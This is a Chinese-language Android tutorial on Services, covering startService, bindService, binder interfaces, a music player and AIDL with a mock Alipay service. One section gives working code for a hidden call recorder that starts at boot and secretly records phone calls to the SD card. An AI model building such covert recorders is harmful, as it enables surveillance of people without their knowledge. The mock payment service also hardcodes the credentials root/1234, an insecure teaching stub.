拓展:
Android之Service与IntentService的比较
http://blog.csdn.net/smile3670/article/details/7702521
http://www.cnblogs.com/dolphin0520/p/3920373.html
http://www.cnblogs.com/aigongsi/archive/2012/04/01/2429166.html
保证服务不被杀死:
http://blog.csdn.net/mad1989/article/details/22492519 (提高优先级,服务死掉的时候发送广播,重启服务)
1.什么是服务
就把服务理解为在后台长期运行但是没有界面的Activity,因为Service与Activity有很多相似的地方。
1)启动一个activity或service都要通过Intent
2) 如果想打开一个activity/service,按是否返回数据,需要采用不同的方法。
■服务的作用
让某些逻辑在后台(长期)执行。
服务可以结合广播接收者碰撞出各种效果(看你的想像力了!)
2.进程
-
-
Foreground process 前台进程 相当于Activity执行了onResume方法 用户正在操作页面 前台进程的优先级最高
-
Visible process 可视进程 相当于Activity执行了onPasue方法 用户依然能看的见屏幕
-
Service process 服务进程 相当于通过startservice方式开启了一个服务 在当前进程里面运行
-
Background process 后台进程 相当于Activity执行了onStop方法 用户看不见页面 但是注意Activity没有执行ondestroy方法
-
Empty process 空进程 后台没有任何组件运行 这个时候属于空进程
3.服务的创建和开启
■服务的创建:
定义一个类继承Service,在清单文件里注册这个类,<service>标签。
■服务的开启:
服务的开启属于Context里的方法,所以继承了Context的类Activity、Service或者是拥有Context对象的类
都可以开启一个服务(如广播接收者的onReceive方法里有Context对象,所以广播接收者也可以开启一个服务)
开启服务的方式有2种:startService和bindService。
不同的方式开启的服务,作用不同,服务的生命周期不同,服务需要复写的方法也不同,掌握
这两种开启服务的方式区别十分地重要。(********重点*********)
如果想要服务长期运行,就用startService方法;如果想调用服务里的方法,就用bindService
方法来开启服务。
不同方式开启服务的生命周期图:
1)startService方式开启服务
当用户第一次调用start-service方法 服务会执行onCreate、onStartCommand、onStart方法
当用户第二次调用start-service方法 服务只会走onStartCommand、onStart方法
服务一旦通过start-service方法开启后 服务就会在后台长期运行 直到用户手工停止或调用
stopService方法停止,或者服务调用自身的stopSelf()方法。如下图,手动关闭service:

start开启服务代码
1
2
3
|
Intent intent = new Intent( this ,CallService. class );
startService(intent);
|
2)bindService方式开启服务
第一次点击按钮 通过bindservice开启服务 服务只会走 onCreate 和 onbind方法
第二次点击按钮 通过bindservice开启服务 服务没有反应
不求同时生 但求同时死 只的是Activity和服务之间,Activity一挂掉,bind方式开启的服务也会
随之挂掉
服务只能解绑一次 多次解绑会报异常
通过bindservice方式开启服务 在设置页面找不到 他可以理解成是一个隐形的服务
当服务的onbind方法返回null的时候onServiceConnected方法不执行
▇bindservice方式调用服务方法里面的流程(**********重点**********)
(1)定义一个服务 在清单文件里面配置 在服务里面定义一个方法
(2)Activity想调用服务里面的方法
(3)在服务的内部定义一个中间人对象(IBinder) 在这个实现类里面可以间接的调用到服务里面的
方法
(4)在onbind方法中把我们自己定义的这个中间人对象返回
(5)当Activity想调用服务里面方法的时候 先通过bindservice方法获取中间人对象
(6)通过我们获取的中间人对象就可以间接调用到服务里面的方法了
一般写在"中间人"对象(IBinder)里的方法,都是实现接口里的方法,再在方法里调用服
务里定义的方法。
■绑定服务抽取接口
接口可以隐藏代码内部的细节 让程序员暴露只想暴露的方法
实现步骤
(1)定义一个接口 把服务里面想暴露方法都定义在接口里
(2)我们定义的这个中间人对象实现我们定义的这个接口
(3)还是通过bindservice方式获取我们中间人的对象
(4)还是通过中间人对象间接调用服务里面的方法
4.应用1_电话窃听器案例(startService开启服务方式)
需求:手机一接听电话就把通话进行录音,保存起来。
实现思路:电话窃听,肯定不希望用户看到,所以不需要界面,那么窃听录音的逻辑应写在服务里。服务有了,
需要被开启,为了显得应用更智能一些,就定义一个广播接收者来接收开机广播来开启服务了。
具体实现步骤:
1)定义电话窃听录音逻辑的服务类
创建服务类之后,按照好的编程习惯,立马在清单里配置service标签。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
|
public class CallService extends Service {
private MediaRecorder recorder = null ;
@Override
public IBinder onBind(Intent arg0) {
return null ;
}
@Override
public void onCreate() {
super .onCreate();
TelephonyManager manager = (TelephonyManager) this .getSystemService( this .TELEPHONY_SERVICE);
manager.listen( new MyPoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
}
private class MyPoneListener extends PhoneStateListener{
@Override
public void onCallStateChanged( int state, String incomingNumber) {
if (state == TelephonyManager.CALL_STATE_IDLE)
{
System.out.println( "结束录音" );
if (recorder != null )
{
recorder.stop();
recorder.reset();
recorder.release();
}
}
else if (state == TelephonyManager.CALL_STATE_OFFHOOK)
{
System.out.println( "开始录音" );
if (recorder != null )
{
recorder.start();
}
}
if (state == TelephonyManager.CALL_STATE_RINGING)
{
System.out.println( "准备录音,创建录音机。" );
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile( "/mnt/sdcard/record.mp3" );
try {
recorder.prepare();
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
}
|
2)定义广播接收者来启动服务
创建广播接收者之后,按照好的编程习惯,立马在清单里配置receiver标签,并配置好过滤器过滤开机广播。
1
2
3
4
5
6
7
8
9
10
|
public class BootReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
Intent intent1 = new Intent(context,CallService. class );
context.startService(intent1);
}
}
|
3)添加权限
像什么配置组件,添加权限能提前完成的东西就提前完成。
1
2
3
4
5
6
7
8
9
10
11
|
< uses-permission android:name = "android.permission.READ_PHONE_STATE" />
< uses-permission android:name = "android.permission.RECORD_AUDIO" />
< uses-permission android:name = "android.permission.WRITE_EXTERNAL_STORAGE" />
< uses-permission android:name = "android.permission.RECEIVE_BOOT_COMPLETED" />
|
5.应用2_百度音乐盒案例(start/bind混合开启服务方式)
需求:在activity里定义播放、暂停、继续3个功能按钮,效果如下图所示:
实现思路:一般音乐播放软件,在界面销毁之后,音乐还能继续在长期运行播放,所以音乐播放的逻辑应该写在服
务里,用startService方式开启服务;点击按钮还要调用服务里的方法,那么又要用bindService方
式开启服务。所以要以混合模式开启服务。
具体实现步骤:
1)服务相应接口定义
1
2
3
4
5
6
|
public interface Iservice {
public abstract void callPlay();
public abstract void callPause();
public abstract void callRePlay();
}
|
2)服务定义
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
|
package com.itheima.baidumusic;
import java.io.IOException;
import android.app.Service;
import android.content.Intent;
import android.media.MediaPlayer;
import android.net.Uri;
import android.os.Binder;
import android.os.IBinder;
/**
* 播放音乐的 Service 逻辑写在Service里,通过中间人对象返回。
*
* 模板步骤: 1.写一个类继承Binder,也就是IBinder(接口)的子类 ,并实现接口,暴露想暴露的方法。 2.返回这个类的对象 。
*
* @author LENOVO
*
*/
public class PlayService extends Service {
private MediaPlayer musicPlayer = null ;
@Override
public IBinder onBind(Intent intent) {
System.out.println( "onBind方法执行了。。。。。。" );
musicPlayer = new MediaPlayer();
try {
musicPlayer.setDataSource( "/mnt/sdcard/luanhong.mp3" );
} catch (Exception e) {
e.printStackTrace();
}
return new MyBinder();
}
public void play() {
System.out.println( "播放音乐" );
try {
musicPlayer.prepare();
} catch (Exception e) {
e.printStackTrace();
}
musicPlayer.start();
}
public void pause() {
System.out.println( "暂停播放" );
musicPlayer.pause();
}
public void rePlay() {
System.out.println( "继续播放" );
musicPlayer.start();
}
public class MyBinder extends Binder implements Iservice {
@Override
public void callPlay() {
play();
}
@Override
public void callPause() {
pause();
}
@Override
public void callRePlay() {
rePlay();
}
}
}
|
3)Activity里启动服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
|
public class MainActivity extends Activity {
private MyConn conn = null ;
private Iservice serviceBinder = null ;
@Override
protected void onCreate(Bundle savedInstanceState) {
super .onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent( this , PlayService. class );
startService(intent);
conn = new MyConn();
bindService(intent, conn, BIND_AUTO_CREATE);
}
private class MyConn implements ServiceConnection {
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
System.out.println( "绑定服务成功" );
serviceBinder = (Iservice) service;
}
@Override
public void onServiceDisconnected(ComponentName name) {
System.out.println( "绑定服务失败" );
}
}
public void click(View v) {
switch (v.getId()) {
case R.id.bt_play:
serviceBinder.callPlay();
break ;
case R.id.bt_pause:
serviceBinder.callPause();
break ;
case R.id.bt_rePlay:
serviceBinder.callRePlay();
break ;
default :
break ;
}
}
@Override
protected void onDestroy() {
unbindService(conn);
super .onDestroy();
}
}
|
6.AIDL
Android Interface Definition Language Android接口定义语言
本地服务: 运行在自己应用(Android)里面的服务
远程服务 : 运行在其他应用(Android)里面的服务
作用: 想解决的问题就是进程间通信,也就是调用其它进程里的服务里的方法。
AIDL 实现的步骤
(1) 在一个应用里面定义一个服务 服务里面有一个方法 这个方法称为远程服务里面的方法
(2)在这个服务里面定义中间人对象 定义接口iservice.java 把想暴露的方法定义在接口里
(3)把iservice.java文件改成 aidl文件 注意aidl不支持public、abstract等修饰符
(4)系统会自动给我们生产一个iservice.java文件 stub extends IBinder imp iservie接口
(5)把我们定义的中间人对象直接继承Stub
(6)我想在另外一个应用里面去调用这个服务里面的方法 要保证2个应用使用的是同一个aidl文件
(7)如何保证2 个应用使用的是同一个aidl文件谷歌要求 包名相同
(8)还是通过bindservice 方式去获取到中间人对象
(9)注意获取我们定义的中间人对象的方式不一样了,在服务连接对象ServiceConnection里的onServiceConnected方法里通过
stub 的一个静态方法去获取我们定义的中间人对象 Stub.asinterface(Ibinder obj);
AIDL的应用场景:支付宝
▼用AIDL模拟调用支付宝服务里的服务方法:
第1步: 建立两个应用
第2步: 模拟支付宝服务(实际上支付宝是很复杂的)
先定义AIDL(相当于接口)
定义AIDL之后,程序会自动在gen目录下生成相同包名相同文件名的java文件,可以看到Java
文件中有一抽象类Stub,既继承了Binder类又实现了IService接口。这就是为什么下面服
务“中间人”是直接继承Stub的原因。
定义支付宝服务
注意要为服务配一个过滤器,指定一个action,因为支付宝服务要被另外一个应用所调用,
要用到隐式意图,那么就必须配置一个过滤器。
1
2
3
4
5
|
< service android:name = "com.itheima.service.PayService" >
< intent-filter >
< action android:name = "com.itheima.MY_ALI_PAY" />
</ intent-filter >
</ service >
|
定义支付宝服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
/**
* 支付宝服务
*/
public class PayService extends Service {
@Override
public IBinder onBind(Intent intent) {
return new MyBinder();
}
public boolean Pay(String username,String password, double money)
{
System.out.println( "密码加密。。。。。。。。。" );
System.out.println( "检查手机有没有病毒。。。。。。。。。" );
System.out.println( "判断用户名和密码。。。。。。。。" );
System.out.println( "......" );
if (!(username.equals( "root" ) && password.equals( "1234" )))
{
System.out.println( "sdggsgggs" );
return false ;
}
if (money < 4000 )
{
System.out.println( "QQQQQQQQQQQ" );
return false ;
}
return true ;
}
private class MyBinder extends Stub
{
@Override
public boolean callPay(String username, String password, double money)
throws RemoteException {
return Pay(username, password, money);
}
}
}
|
第3步: 在另外一个应用里调用支付宝服务
首先,将支付宝服务应用的aidl拷贝过来,并且包名要保持一致。
Activity调用支付宝服务的代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
|
public class MainActivity extends Activity {
private MyConn conn = null ;
private IService serviceBinder = null ;
@Override
protected void onCreate(Bundle savedInstanceState) {
super .onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Intent intent = new Intent();
intent.setAction( "com.itheima.MY_ALI_PAY" );
conn = new MyConn();
bindService(intent, conn, BIND_AUTO_CREATE);
}
public void click(View v)
{
try {
boolean flag = serviceBinder.callPay( "root" , "1234" , 5000 );
if (flag)
{
System.out.println( "支付成功" );
}
} catch (RemoteException e) {
e.printStackTrace();
}
}
public class MyConn implements ServiceConnection
{
@Override
public void onServiceConnected(ComponentName name, IBinder service) {
System.out.println( "服务连接上了。。。。" );
serviceBinder = Stub.asInterface(service);
}
@Override
public void onServiceDisconnected(ComponentName name) {
System.out.println( "服务连接失败。。。。" );
}
}
@Override
protected void onDestroy() {
unbindService(conn);
super .onDestroy();
}
}
|
本文转自屠夫章哥 51CTO博客,原文链接:http://blog.51cto.com/4259297/1679401,如需转载请自行联系原作者